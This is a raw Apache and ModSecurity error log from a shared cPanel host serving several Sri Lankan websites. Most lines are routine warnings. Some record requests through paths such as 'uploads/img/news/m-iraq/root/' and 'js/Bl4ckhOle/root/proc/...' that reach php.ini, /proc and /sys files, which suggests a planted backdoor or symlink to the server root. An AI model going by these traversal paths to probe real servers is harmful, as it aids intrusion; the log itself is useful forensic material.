[Fri Jul 17 09:46:04.562737 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.699843 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:04.747093 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almshJuhBssQvDAz4zCqzwAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1156&page_105=1454
[Fri Jul 17 09:46:04.747134 2026] [security2:error] [pid 2050576:tid 2050576] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almshJuhBssQvDAz4zCqzwAAABI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1156&page_105=1454
[Fri Jul 17 09:46:04.904966 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.006736 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.043102 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almshWuF39UwWB2KWdbS0QAAAA8"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:46:05.043142 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almshWuF39UwWB2KWdbS0QAAAA8"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:46:05.106689 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.106809 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.106882 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.220289 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.224564 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.255358 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.316525 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.411332 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.697845 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.750796 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.782320 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almshIe39YUk0SgV8AVECgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1023&page_105=1533
[Fri Jul 17 09:46:05.782354 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almshIe39YUk0SgV8AVECgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1023&page_105=1533
[Fri Jul 17 09:46:05.789659 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.822320 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.886450 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:05.930336 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:46736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:05.977269 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:06.002547 2026] [authz_core:error] [pid 2050582:tid 2050582] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php70/etc/php.ini
[Fri Jul 17 09:46:06.157816 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:06.385633 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:06.492296 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:06.582122 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:06.870540 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.289006 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.384276 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.388130 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.393565 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.393565 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.474607 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.671090 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.671790 2026] [core:crit] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/var/spool/at/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/var/spool/at/' is executable
[Fri Jul 17 09:46:07.684817 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.778284 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.866855 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:07.970788 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.064480 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.154245 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.216428 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:47008] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:08.253439 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.257237 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.438112 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/ata_generic/new_id
[Fri Jul 17 09:46:08.720463 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.796523 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.802524 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:08.889159 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.075202 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.093017 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.107:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/node0/memory89/node0/memory82/node0/memory138/"] [unique_id "almsiYl9vhFBGA6D8l-D1AAAAAw"]
[Fri Jul 17 09:46:09.093076 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.107:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory83/node0/memory89/node0/memory82/node0/memory138/"] [unique_id "almsiYl9vhFBGA6D8l-D1AAAAAw"]
[Fri Jul 17 09:46:09.251463 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.340760 2026] [security2:error] [pid 2013797:tid 2013797] [client 123.18.112.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/pims/pims/app/Policies/MobileClinicPolicy.php"] [unique_id "almsiVh1WDijTxd1xw5WEAAAAAc"], referer: https://ksoft.web.lk/
[Fri Jul 17 09:46:09.340794 2026] [security2:error] [pid 2013797:tid 2013797] [client 123.18.112.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/pims/pims/app/Policies/MobileClinicPolicy.php"] [unique_id "almsiVh1WDijTxd1xw5WEAAAAAc"], referer: https://ksoft.web.lk/
[Fri Jul 17 09:46:09.345791 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.444554 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.542331 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.626500 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.717806 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.808270 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.808335 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.808362 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:09.992273 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.179150 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.275552 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.275843 2026] [core:crit] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/' is executable
[Fri Jul 17 09:46:10.361171 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.501333 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.543905 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.825151 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:10.924835 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.017586 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.311203 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.311269 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.311296 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.406444 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.497361 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/subsystem/drivers/i8042 kbd/uevent
[Fri Jul 17 09:46:11.685116 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:11.685317 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/' is executable
[Fri Jul 17 09:46:12.056850 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.191716 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.255955 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.352524 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.430829 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.523884 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.805978 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.898124 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:12.989979 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.080255 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pnp/drivers/serial/00:00/tty/ttyS0/flags
[Fri Jul 17 09:46:13.171234 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.266720 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.367793 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.458169 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.503809 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.549911 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.645808 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.745754 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.905456 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.917502 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:13.930703 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.013900 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.105705 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.201819 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsjg5GPQ6hs4VrfMpMEwAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:46:14.201856 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsjg5GPQ6hs4VrfMpMEwAAAAY"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:46:14.206203 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.297238 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.487423 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.586477 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.682453 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.855132 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.879854 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:14.943282 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.036990 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.127977 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.296844 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.318426 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.319261 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.402777 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.525743 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.616401 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.688366 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.778648 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.869429 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:15.959952 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.042358 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.056734 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.147847 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.210637 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53316] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:16.247437 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.339328 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.431792 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.527000 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.616893 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.711321 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:16.712656 2026] [authz_core:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] AH01630: client denied by server configuration: /home/anandaob/public_html/uploads/img/news/m-iraq/root/opt/alt/php71/etc/php.ini
[Fri Jul 17 09:46:16.801954 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.109751 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:53358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:17.115603 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.259259 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.351461 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.536965 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/pci/slots/3/adapter"] [unique_id "almskboj0IkvhSCYadmLgAAAAAQ"]
[Fri Jul 17 09:46:17.536994 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/pci/slots/3/adapter"] [unique_id "almskboj0IkvhSCYadmLgAAAAAQ"]
[Fri Jul 17 09:46:17.908773 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.921802 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:17.995402 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:18.106020 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/aibolit-resident
[Fri Jul 17 09:46:18.199655 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:18.566521 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:18.658972 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:18.750936 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:18.784901 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:53418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:18.839558 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.128484 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.305150 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.402328 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.501272 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.548892 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.552729 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.655015 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.734027 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.747980 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:19.871294 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:20.038588 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:20.077215 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
